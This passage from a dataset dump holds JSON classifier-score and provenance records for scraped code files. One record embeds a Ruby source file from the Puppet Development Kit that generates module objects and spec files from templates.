0.0003515888136969191, "Knowledge Article": 0.00046835765157565663, "Legal Notices": 0.00021723471687530135, "News Article": 3.588869095587141e-05, "Organizational Announcement": 4.781762410214466e-05, "Nonfiction Writing": 7.069888722602768e-05, "Organizational About Page": 5.9967672132637535e-05, "Personal About Page": 3.1572848192096354e-05, "Personal Blog": 3.375244339584216e-05, "Product Page": 2.7115936383851077e-05, "Spam / Ads": 5.7288768501211674e-05, "Structured Data": 0.0010160082443071933, "Technical Writing": 0.0029322619389687715, "Transcript / Interview": 4.100155535830786e-05, "Tutorial / How-To Guide": 0.0004665835341140863, "User Reviews": 2.041263595240884e-05, "NONE": 0.993388690935792}, "structured_records": {"false": 0.9944596753309558, "true": 0.005540324669044203}, "procedural_steps": {"false": 0.9959924560216218, "true": 0.004007543978378238}, "worked_solution": {"false": 0.9985426114944284, "true": 0.0014573885055716865}, "contextual_dialogue": {"false": 0.9999907239558331, "true": 9.276044166940415e-06}, "content_quality": {"-2": 0.022489896459215727, "-1": 0.1820157864276158, "0": 0.4036610368578116, "1": 0.30553008396589687, "2": 0.08630319628946014}, "noise_severity": {"0": 0.7928011422717981, "1": 0.17681621246332668, "2": 0.023825873312085136, "3": 0.0046042529402239496, "4": 0.0019525190125660044}, "missing_content_severity": {"0": 0.984101436277353, "1": 0.009915379459565927, "2": 0.004212621670890798, "3": 0.0013341945725010502, "4": 0.0004363680196891894}, "factual_density": {"0": 0.014871054116945094, "1": 0.032908862503684765, "2": 0.15387483275141509, "3": 0.3916192995951571, "4": 0.4067259510327979}, "pretraining_utility": {"-2": 0.012549994849554392, "-1": 0.1928387062412929, "0": 0.5020814444905546, "1": 0.2576399871303452, "2": 0.03488986728825283}, "math_density": {"0": 0.9805069143202544, "1": 0.0171089069182021, "2": 0.0008177847886125975, "3": 0.0004814930396549634, "4": 0.001084900933275865}, "code_density": {"0": 0.00029744889119692676, "1": 0.0005423353951069308, "2": 0.016011205705951773, "3": 0.08097468182519243, "4": 0.9021743281825519}, "reasoning_density": {"0": 0.7346713473804228, "1": 0.11325768270411557, "2": 0.10830048852434457, "3": 0.031462927401381846, "4": 0.012307553989735183}, "education_level": {"none": 0.0015511713806764258, "0": 0.001869174885924209, "1": 0.017607794575683584, "2": 0.6851008425696824, "3": 0.26862396317025294, "4": 0.025247053417780406}, "creative_writing_quality": {"not_applicable": 0.9990962853900072, "-2": 0.00012042002375320778, "-1": 0.0003149853253207936, "0": 0.00037915754693154956, "1": 6.340517214873377e-05, "2": 2.574654183860876e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.663580176001747e-05, "Art & Design": 0.00022147237723471895, "Law & Crime": 9.031428599286808e-05, "Education & Careers": 0.00012665473366558252, "Entertainment & Media": 0.0021979707867152472, "Fashion & Beauty": 0.00018957235251061336, "Business, Economics & Finance": 0.016339923011934803, "Food & Dining": 0.00011866263300139578, "Games & Gaming": 0.00016764103107585828, "Electronics & Hardware": 0.00013742558682638256, "Health, Healthcare & Wellness": 7.289004742193056e-05, "History & Geography": 5.879172229091645e-05, "Home, Pets & Hobbies": 7.136984396943754e-05, "Industry & Production": 8.213917567833248e-05, "Language, Literature & Philosophy": 8.235307057135799e-05, "Politics & Government": 8.494750887400002e-05, "Religion & Spirituality": 8.165735182215295e-05, "Science, Mathematics & Engineering": 0.0001757237429946707, "Relationships & Community": 5.935265192062941e-05, "Software Usage & Applications": 0.0009195647451427276, "Programming & Software Engineering": 0.9715157336592533, "Sports & Fitness": 0.00012706292660876161, "Vehicles & Transportation": 3.6048451008011236e-05, "Travel & Tourism": 9.110091892497056e-05, "Other / Uncovered Subject": 0.006532856285830495, "Unknown / Insufficient Content": 0.00034213529697096434}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0010175424306360815, "Art & Design": 0.0016658127146249103, "Law & Crime": 0.0009661836687102439, "Education & Careers": 0.0006134149506882485, "Entertainment & Media": 0.020037536075162656, "Fashion & Beauty": 0.0007389151638596623, "Business, Economics & Finance": 0.1159657665890463, "Food & Dining": 0.0005018741785999788, "Games & Gaming": 0.0008057606654664505, "Electronics & Hardware": 0.0006485713155519562, "Health, Healthcare & Wellness": 0.0005073186561383533, "History & Geography": 0.00034316226854252913, "Home, Pets & Hobbies": 0.0004613764907719208, "Industry & Production": 0.00040867837484518185, "Language, Literature & Philosophy": 0.00035610089055391277, "Politics & Government": 0.00048472990257431345, "Religion & Spirituality": 0.0006187312107195555, "Science, Mathematics & Engineering": 0.0006160569177210797, "Relationships & Community": 0.0003131369621143009, "Software Usage & Applications": 0.0031636994936827365, "Programming & Software Engineering": 0.02983984397822181, "Sports & Fitness": 0.0006752202665002365, "Vehicles & Transportation": 0.00017990549397843317, "Travel & Tourism": 0.0005393286665532192, "Other / Uncovered Subject": 0.008633518549177516, "NONE": 0.8098978141255584}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10023, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10023, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:32:10.647959+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "4cd08d9f-d4fa-44aa-92de-6e46778ee6d9", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "54d8b96a01f6d4c98a4c8fd15074e50e8cdb239bfba9ba63ef4282f275bf1076", "source_metadata": {"uuid": "4cd08d9f-d4fa-44aa-92de-6e46778ee6d9", "repo_name": "sounz/SOUNZ-Online", "relative_path": "sounz-1.62.0/sounz/app/controllers/marketing_categorisation_controller.rb", "category": "WEB", "algo_rel_score": 0.9774004817008972, "quality_score": 4.552753448486328, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 3, "repo_created_at": "2016-08-23T23:38:43.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "2543f32bd8241f9bb8a265a0961d0283d0417ead", "size_bytes": 6634, "file_timestamp": 1472006479, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c22230ff7dcfb040a6780df40373233508e0e5d2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 3, "repo_created_at": "2016-08-23T23:38:43.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "2543f32bd8241f9bb8a265a0961d0283d0417ead", "size_bytes": 6634, "file_timestamp": 1472006479, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "c22230ff7dcfb040a6780df40373233508e0e5d2", "url": "https://github.com/sounz/SOUNZ-Online/blob/c22230ff7dcfb040a6780df40373233508e0e5d2/sounz-1.62.0/sounz/app/controllers/marketing_categorisation_controller.rb"}, "gpt4o_tokens": 1446, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.2511408971987699, "noise_severity": 0.24609079395843284, "missing_content_severity": 0.02408867859760743, "factual_density": 3.142420230923178, "pretraining_utility": 0.10948102576644918, "math_density": 0.02452855934749565, "code_density": 3.8841861050127955, "reasoning_density": 0.47347765791589097, "education_level": 2.298234538539193, "creative_writing_quality": -0.48790526580589993}, "score_applicability": {"education_level": 0.9984488286193235, "creative_writing_quality": 0.0009037146099928935}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/scotje/pdk/blob/962d71d53117294d1148a4bb72c7243401478c2a/lib/pdk/generate/puppet_object.rb", "id": "ruby-0-ce9b93cbe6f7745cafbc7bf8ae074c78", "text": "require 'fileutils'\n\nrequire 'pdk'\nrequire 'pdk/logger'\nrequire 'pdk/module/metadata'\nrequire 'pdk/module/templatedir'\nrequire 'pdk/template_file'\n\nmodule PDK\n module Generate\n class PuppetObject\n attr_reader :module_dir\n attr_reader :object_name\n attr_reader :options\n\n # Initialises the PDK::Generate::PuppetObject object.\n #\n # In general, this object should never be instantiated directly. Instead,\n # one of the subclasses should be used e.g. PDK::Generate::Klass.\n #\n # New subclasses generally only need to inherit this class, set the\n # OBJECT_TYPE constant and implement the {#template_data},\n # {#target_object_path} and {#target_spec_path} methods.\n #\n # @param module_dir [String] The path to the module directory that the\n # will contain the object.\n # @param object_name [String] The name of the object.\n # @param options [Hash{Symbol => Object}]\n #\n # @api public\n def initialize(module_dir, object_name, options = {})\n @module_dir = module_dir\n @options = options\n @object_name = object_name\n\n if [:class, :defined_type].include?(object_type) # rubocop:disable Style/GuardClause\n object_name_parts = object_name.split('::')\n\n @object_name = if object_name_parts.first == module_name\n object_name\n else\n [module_name, object_name].join('::')\n end\n end\n end\n\n # @abstract Subclass and implement {#template_data} to provide data to\n # the templates during rendering. Implementations of this method should\n # return a Hash!{Symbol => Object}.\n def template_data\n raise NotImplementedError\n end\n\n # @abstract Subclass and implement {#target_object_path}. Implementations\n # of this method should return a String containing the destination path\n # of the object being generated.\n def target_object_path\n raise NotImplementedError\n end\n\n # @abstract Subclass and implement {#target_type_path}. Implementations\n # of this method should return a String containing the destination path\n # of the additional object file being generated.\n # @return [String] returns nil if there is no additional object file\n def target_type_path\n nil\n end\n\n # @abstract Subclass and implement {#target_spec_path}. Implementations\n # of this method should return a String containing the destination path\n # of the tests for the object being generated.\n def target_spec_path\n raise NotImplementedError\n end\n\n # @abstract Subclass and implement {#target_type_spec_path}. Implementations\n # of this method should return a String containing the destination path\n # of the tests for the object being generated.\n def target_type_spec_path\n nil\n end\n\n # Retrieves the type of the object being generated, e.g. :class,\n # :defined_type, etc. This is specified in the subclass' OBJECT_TYPE\n # constant.\n #\n # @return [Symbol] the type of the object being generated.\n #\n # @api private\n def object_type\n self.class::OBJECT_TYPE\n end\n\n # Check preconditions of this template group. By default this only makes sure that the target files do not\n # already exist. Override this (and call super) to add your own preconditions.\n #\n # @raise [PDK::CLI::ExitWithError] if the target files already exist.\n #\n # @api public\n def check_preconditions\n [target_object_path, target_type_path, target_spec_path, target_type_spec_path].compact.each do |target_file|\n next unless File.exist?(target_file)\n\n raise PDK::CLI::ExitWithError, _(\"Unable to generate %{object_type}; '%{file}' already exists.\") % {\n file: target_file,\n object_type: object_type,\n }\n end\n end\n\n # Check that the templates can be rendered. Find an appropriate template\n # and create the target files from the template. This is the main entry\n # point for the class.\n #\n # @raise [PDK::CLI::ExitWithError] if the target files already exist.\n # @raise [PDK::CLI::FatalError] (see #render_file)\n #\n # @api public\n def run\n check_preconditions\n\n with_templates do |template_path, config_hash|\n data = template_data.merge(configs: config_hash)\n\n render_file(target_object_path, template_path[:object], data)\n render_file(target_type_path, template_path[:type], data) if template_path[:type]\n render_file(target_spec_path, template_path[:spec], data) if template_path[:spec]\n render_file(target_type_spec_path, template_path[:type_spec], data) if template_path[:type_spec]\n end\n end\n\n # Render a file using the provided template and write it to disk.\n #\n # @param dest_path [String] The path that the rendered file should be\n # written to. Any necessary directories will be automatically created.\n # @param template_path [String] The path on disk to the file containing\n # the template.\n # @param data [Hash{Object => Object}] The data to be provided to the\n # template when rendering.\n #\n # @raise [PDK::CLI::FatalError] if the parent directories to `dest_path`\n # do not exist and could not be created.\n # @raise [PDK::CLI::FatalError] if the rendered file could not be written\n # to `dest_path`.\n #\n # @return [void]\n #\n # @api private\n def render_file(dest_path, template_path, data)\n write_file(dest_path) do\n PDK::TemplateFile.new(template_path, data).render\n end\n end\n\n # Write the result of the block to disk.\n #\n # @param dest_path [String] The path that the rendered file should be\n # written to. Any necessary directories will be automatically created.\n # @param &block [String] The content to be written\n #\n # @raise [PDK::CLI::FatalError] if the parent directories to `dest_path`\n # do not exist and could not be created.\n # @raise [PDK::CLI::FatalError] if the rendered file could not be written\n # to `dest_path`.\n #\n # @return [void]\n #\n # @api private\n def write_file(dest_path)\n PDK.logger.info(_(\"Creating '%{file}' from template.\") % { file: dest_path })\n\n file_content = yield\n\n begin\n FileUtils.mkdir_p(File.dirname(dest_path))\n rescue SystemCallError => e\n raise PDK::CLI::FatalError, _(\"Unable to create directory '%{path}': %{message}\") % {\n path: File.dirname(dest_path),\n message: e.message,\n }\n end\n\n File.open(dest_path, 'w') { |f| f.write file_content }\n rescue SystemCallError => e\n raise PDK::CLI::FatalError, _(\"Unable to write to file '%{path}': %{message}\") % {\n path: dest_path,\n message: e.message,\n }\n end\n\n # Search the possible template directories in order of preference to find\n # a template that can be used to render a new object of the specified\n # type.\n #\n # @yieldparam template_paths [Hash{Symbol => String}] :object contains\n # the path on disk to the template file for the object, :spec contains\n # the path on disk to the template file for the tests for the object\n # (if it exists).\n # @yieldparam config_hash [Hash{Object => Object}] the contents of the\n # :global key in the config_defaults.yml file.\n #\n # @raise [PDK::CLI::FatalError] if no suitable template could be found.\n #\n # @api private\n def with_templates\n templates.each do |template|\n if template[:url].nil?\n PDK.logger.debug(_('No %{dir_type} template specified; trying next template directory.') % { dir_type: template[:type] })\n next\n end\n\n PDK::Module::TemplateDir.new(template[:url]) do |template_dir|\n template_paths = template_dir.object_template_for(object_type)\n\n if template_paths\n config_hash = template_dir.object_config\n yield template_paths, config_hash\n # TODO: refactor to a search-and-execute form instead\n return # work is done # rubocop:disable Lint/NonLocalExitFromIterator\n elsif template[:allow_fallback]\n PDK.logger.debug(_('Unable to find a %{type} template in %{url}; trying next template directory.') % { type: object_type, url: template[:url] })\n else\n raise PDK::CLI::FatalError, _('Unable to find the %{type} template in %{url}.') % { type: object_type, url: template[:url] }\n end\n end\n end\n rescue ArgumentError => e\n raise PDK::CLI::ExitWithError, e\n end\n\n # Provides the possible template directory locations in the order in\n # which they should be searched for a valid template.\n #\n # If a template-url has been specified on in the options hash (e.g. from\n # a CLI parameter), then this template directory will be checked first\n # and we do not fall back to the next possible template directory.\n #\n # If we have not been provided a specific template directory to use, we\n # try the template specified in the module metadata (as set during\n # PDK::Generate::Module) and fall back to the default template if\n # necessary.\n #\n # @return [Array Object}>] an array of hashes. Each hash\n # contains 3 keys: :type contains a String that describes the template\n # directory, :url contains a String with the URL to the template\n # directory, and :allow_fallback contains a Boolean that specifies if\n # the lookup process should proceed to the next template directory if\n # the template file is not in this template directory.\n #\n # @api private\n def templates\n @templates ||= [\n { type: 'CLI', url: @options[:'template-url'], allow_fallback: false },\n { type: 'metadata', url: module_metadata.data['template-url'], allow_fallback: true },\n { type: 'default', url: PDK::Util.default_template_url, allow_fallback: false },\n ]\n end\n\n # Retrieves the name of the module (without the forge username) from the\n # module metadata.\n #\n # @raise (see #module_metadata)\n # @return [String] The name of the module.\n #\n # @api private\n def module_name\n @module_name ||= module_metadata.data['name'].rpartition('-').last\n end\n\n # Parses the metadata.json file for the module.\n #\n # @raise [PDK::CLI::FatalError] if the metadata.json file does not exist,\n # can not be read, or contains invalid metadata.\n #\n # @return [PDK::Module::Metadata] the parsed module metadata.\n #\n # @api private\n def module_metadata\n @module_metadata ||= begin\n PDK::Module::Metadata.from_file(File.join(module_dir, 'metadata.json'))\n rescue ArgumentError => e\n raise PDK::CLI::FatalError, _(\"'%{dir}' does not contain valid Puppet module metadata: %{msg}\") % { dir: module_dir, msg: e.message }\n end\n end\n end\n end\nend\n", "text_preview": "require 'fileutils' require 'pdk' require 'pdk/logger' require 'pdk/module/metadata' require 'pdk/module/templatedir' require 'pdk/template_file' module PDK module Generate class PuppetObject attr_reader :module_dir attr_reader :object_name", "input_sha256": "a918e09d660ecccb64e64c04bf7f8106a3c5805f1f859e560f9ad642047ca989", "text_sha256": "ce9b93cbe6f7745cafbc7bf8ae074c78ce3aaf160bd671afd114407b8e0283b3", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16049, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2935231599548818, "noise_severity": 0.020237304746955682, "missing_content_severity": 0.02248621660715667, "factual_density": 3.491189739444059, "pretraining_utility": 0.6225124842142739, "math_density": 0.005149184366810029, "code_density": 3.574625942270943, "reasoning_density": 0.9398827508746925, "education_level": 2.6032709822916296, "creative_writing_quality": -0.08019826255074368}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.015384348164553252, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9981917830112205, "secondary": 0.9715813146592248, "tertiary": 0.9876345475265847, "structured_records": 0.033322690034539304, "procedural_steps": 0.039752918428419784, "worked_solution": 0.002641406624855985, "contextual_dialogue": 7.706149309356188e-06, "content_quality": 0.5561283350544406, "noise_severity": 0.9831355793775369, "missing_content_severity": 0.9812614861607027, "factual_density": 0.5759914495367155, "pretraining_utility": 0.5303437841780434, "math_density": 0.9957090130276584, "code_density": 0.6455216185591195, "reasoning_density": 0.21676437427108952, "education_level": 0.3551755881715211, "creative_writing_quality": 0.998695305327811, "primary_topic": 0.9973914140252916, "secondary_topic": 0.9796918460699593}, "probability_margin": {"primary": 0.9973603163173601, "secondary": 0.9519267108728181, "tertiary": 0.980685634770139, "education_level": 0.016347233268657835, "creative_writing_quality": 0.9982691707347751, "primary_topic": 0.9961145998394032, "secondary_topic": 0.9710317831276256}, "raw_probabilities": {"primary": {"Academic Writing": 2.2603723184490516e-05, "Content Listing": 1.5891925188427596e-05, "Creative Writing": 1.1528706222642199e-05, "Customer Support Page": 1.137552774814554e-05, "Q&A Forum": 7.648775621492245e-06, "Discussion Thread": 4.738659778969159e-06, "Comment Section": 1.1001744047884135e-05, "Missing Content": 2.064640731843848e-05, "Knowledge Article": 9.521089071940216e-05, "Legal Notices": 2.3106566831311176e-05, "News Article": 3.4860156402083673e-06, "Organizational Announcement": 8.817550833431014e-06, "Nonfiction Writing": 7.321532164376491e-06, "Organizational About Page": 9.534823110940667e-06, "Personal About Page": 7.1201679961408315e-06, "Personal Blog": 8.310957756559725e-06, "Product Page": 5.177632117802388e-06, "Spam / Ads": 6.474593032911252e-06, "Structured Data": 0.00040873437782203316, "Technical Writing": 0.9982671253857529, "Transcript / Interview": 1.1966717574284344e-05, "Tutorial / How-To Guide": 0.00012061384997476067, "User Reviews": 4.7544011697659194e-06, "Other / Unknown": 0.0009068090683928515}, "secondary": {"Academic Writing": 0.00013554528054623554, "Content Listing": 0.00012073469074631392, "Creative Writing": 0.000114336673463619, "Customer Support Page": 0.00011520859347803297, "Q&A Forum": 4.415994430577771e-05, "Discussion Thread": 4.060342255445822e-05, "Comment Section": 0.00012345893834738366, "Missing Content": 0.00025664735294086136, "Knowledge Article": 0.0007961881324982607, "Legal Notices": 0.0002755044806379093, "News Article": 6.864794637915296e-05, "Organizational Announcement": 7.52780892054844e-05, "Nonfiction Writing": 6.0915242319612965e-05, "Organizational About Page": 8.464901435310485e-05, "Personal About Page": 6.1510773377029e-05, "Personal Blog": 8.449895383662534e-05, "Product Page": 4.401898189662764e-05, "Spam / Ads": 8.312690203509202e-05, "Structured Data": 0.003070540587645906, "Technical Writing": 0.020838715675605676, "Transcript / Interview": 7.597037276322937e-05, "Tutorial / How-To Guide": 0.000633350966586447, "User Reviews": 3.0962436053402295e-05, "NONE": 0.9727654265484238}, "tertiary": {"Academic Writing": 8.870599362109732e-05, "Content Listing": 0.00010395606109239829, "Creative Writing": 8.269687812035209e-05, "Customer Support Page": 6.202623822715907e-05, "Q&A Forum": 3.021734234593209e-05, "Discussion Thread": 2.411097168697492e-05, "Comment Section": 0.00011733079116851622, "Missing Content": 0.0003978963275423642, "Knowledge Article": 0.0005201018827089325, "Legal Notices": 0.00032351364751280725, "News Article": 4.679202941615785e-05, "Organizational Announcement": 4.4933371745359794e-05, "Nonfiction Writing": 4.4215697858156695e-05, "Organizational About Page": 6.921015125441426e-05, "Personal About Page": 3.4716918080090755e-05, "Personal Blog": 5.448505534727135e-05, "Product Page": 3.31657273521754e-05, "Spam / Ads": 5.953729380793905e-05, "Structured Data": 0.0016081103921884964, "Technical Writing": 0.007464139942837983, "Transcript / Interview": 4.402992027575722e-05, "Tutorial / How-To Guide": 0.0005734367209205303, "User Reviews": 2.2895931912140755e-05, "NONE": 0.988149774712977}, "structured_records": {"false": 0.9666773099654606, "true": 0.033322690034539304}, "procedural_steps": {"false": 0.9602470815715802, "true": 0.039752918428419784}, "worked_solution": {"false": 0.997358593375144, "true": 0.002641406624855985}, "contextual_dialogue": {"false": 0.9999922938506907, "true": 7.706149309356188e-06}, "content_quality": {"-2": 0.00302130356410717, "-1": 0.007375509176210788, "0": 0.09574648994515164, "1": 0.4807721183697539, "2": 0.4130845789447765}, "noise_severity": {"0": 0.9822129847859127, "1": 0.016204396714100924, "2": 0.0009660748583323536, "3": 0.0003654162504264248, "4": 0.0002511273912276941}, "missing_content_severity": {"0": 0.9828881561880185, "1": 0.013281884260380598, "2": 0.002588604639789018, "3": 0.0009382965800490341, "4": 0.0003030583317627325}, "factual_density": {"0": 0.0020520605238457997, "1": 0.0043128394707757116, "2": 0.05923838220133049, "3": 0.36918673564557, "4": 0.565209982158478}, "pretraining_utility": {"-2": 0.006987738405889119, "-1": 0.05586944985495395, "0": 0.3378353724584618, "1": 0.5062574676803843, "2": 0.0930499716003109}, "math_density": {"0": 0.9967398076744628, "1": 0.002392852952309578, "2": 0.00026367661028476864, "3": 0.0001856728578411179, "4": 0.00041798990510189026}, "code_density": {"0": 0.0004920274357652516, "1": 0.0010181520256647863, "2": 0.041992688017248675, "3": 0.33636611587450393, "4": 0.6201310166468174}, "reasoning_density": {"0": 0.53026910160139, "1": 0.17257250029555737, "2": 0.16574908502001265, "3": 0.08982517179305043, "4": 0.04158414128998965}, "education_level": {"none": 0.001159178709396483, "0": 0.001349137700037713, "1": 0.006040557069316885, "2": 0.46264632347626755, "3": 0.4462990902076097, "4": 0.08250571283737157}, "creative_writing_quality": {"not_applicable": 0.9989127544398425, "-2": 7.572562443085828e-05, "-1": 0.0001769520228138637, "0": 0.000643583705067432, "1": 0.00014076034890533851, "2": 5.022385893980807e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.9407586004545177e-05, "Art & Design": 3.436405307664328e-05, "Law & Crime": 3.0274228914463863e-05, "Education & Careers": 3.02494670811457e-05, "Entertainment & Media": 2.1975224401295562e-05, "Fashion & Beauty": 1.3143698195710907e-05, "Business, Economics & Finance": 3.892707943640382e-05, "Food & Dining": 1.5585152838022986e-05, "Games & Gaming": 4.818244087873342e-05, "Electronics & Hardware": 7.048948169909821e-05, "Health, Healthcare & Wellness": 1.6500928164933744e-05, "History & Geography": 2.1064671717908537e-05, "Home, Pets & Hobbies": 2.0990013596348704e-05, "Industry & Production": 3.206206903076965e-05, "Language, Literature & Philosophy": 3.8067133449386775e-05, "Politics & Government": 9.47104240060165e-05, "Religion & Spirituality": 2.4019839086009362e-05, "Science, Mathematics & Engineering": 0.0001765954293337067, "Relationships & Community": 1.3929730996327983e-05, "Software Usage & Applications": 0.0013771444156849089, "Programming & Software Engineering": 0.9974917442550881, "Sports & Fitness": 3.261602002164882e-05, "Vehicles & Transportation": 1.4959805798660873e-05, "Travel & Tourism": 3.255053193970427e-05, "Other / Uncovered Subject": 0.00020154862210465798, "Unknown / Insufficient Content": 7.889769745469734e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00017320515551005696, "Art & Design": 0.0001383991698694954, "Law & Crime": 0.000168573508573892, "Education & Careers": 0.00011670527973569334, "Entertainment & Media": 0.0001413070925026027, "Fashion & Beauty": 5.9442882473880054e-05, "Business, Economics & Finance": 0.00014896229542612474, "Food & Dining": 5.8054178752657624e-05, "Games & Gaming": 0.00044898693733904873, "Electronics & Hardware": 0.00025581589657135, "Health, Healthcare & Wellness": 6.709020904778094e-05, "History & Geography": 7.099585691590003e-05, "Home, Pets & Hobbies": 5.757864352505852e-05, "Industry & Production": 7.611297626552736e-05, "Language, Literature & Philosophy": 9.459751791942899e-05, "Politics & Government": 0.00021667892673241811, "Religion & Spirituality": 9.637037105562137e-05, "Science, Mathematics & Engineering": 0.0005220921425256387, "Relationships & Community": 4.1043936745394666e-05, "Software Usage & Applications": 0.0066945705408043895, "Programming & Software Engineering": 0.009441145785796821, "Sports & Fitness": 6.431290458789579e-05, "Vehicles & Transportation": 2.9870210293460427e-05, "Travel & Tourism": 9.914268951451984e-05, "Other / Uncovered Subject": 0.0002460159780929407, "NONE": 0.9804729289134224}}, "probabilities": {"primary": {"Academic Writing": 2.2603723184490513e-05, "Content Listing": 1.5891925188427593e-05, "Creative Writing": 1.1528706222642195e-05, "Customer Support Page": 1.1375527748145539e-05, "Q&A Forum": 7.648775621492243e-06, "Discussion Thread": 4.738659778969158e-06, "Comment Section": 1.1001744047884133e-05, "Missing Content": 2.0646407318438477e-05, "Knowledge Article": 9.521089071940213e-05, "Legal Notices": 2.310656683131117e-05, "News Article": 3.4860156402083664e-06, "Organizational Announcement": 8.817550833431013e-06, "Nonfiction Writing": 7.3215321643764895e-06, "Organizational About Page": 9.534823110940666e-06, "Personal About Page": 7.12016799614083e-06, "Personal Blog": 8.310957756559723e-06, "Product Page": 5.177632117802387e-06, "Spam / Ads": 6.474593032911251e-06, "Structured Data": 0.00040873437782203305, "Technical Writing": 0.9982671253857527, "Transcript / Interview": 1.196671757428434e-05, "Tutorial / How-To Guide": 0.00012061384997476064, "User Reviews": 4.754401169765919e-06, "Other / Unknown": 0.0009068090683928512}, "secondary": {"Academic Writing": 0.00013554528054623554, "Content Listing": 0.00012073469074631392, "Creative Writing": 0.000114336673463619, "Customer Support Page": 0.00011520859347803297, "Q&A Forum": 4.415994430577771e-05, "Discussion Thread": 4.060342255445822e-05, "Comment Section": 0.00012345893834738366, "Missing Content": 0.00025664735294086136, "Knowledge Article": 0.0007961881324982607, "Legal Notices": 0.0002755044806379093, "News Article": 6.864794637915296e-05, "Organizational Announcement": 7.52780892054844e-05, "Nonfiction Writing": 6.0915242319612965e-05, "Organizational About Page": 8.464901435310485e-05, "Personal About Page": 6.1510773377029e-05, "Personal Blog": 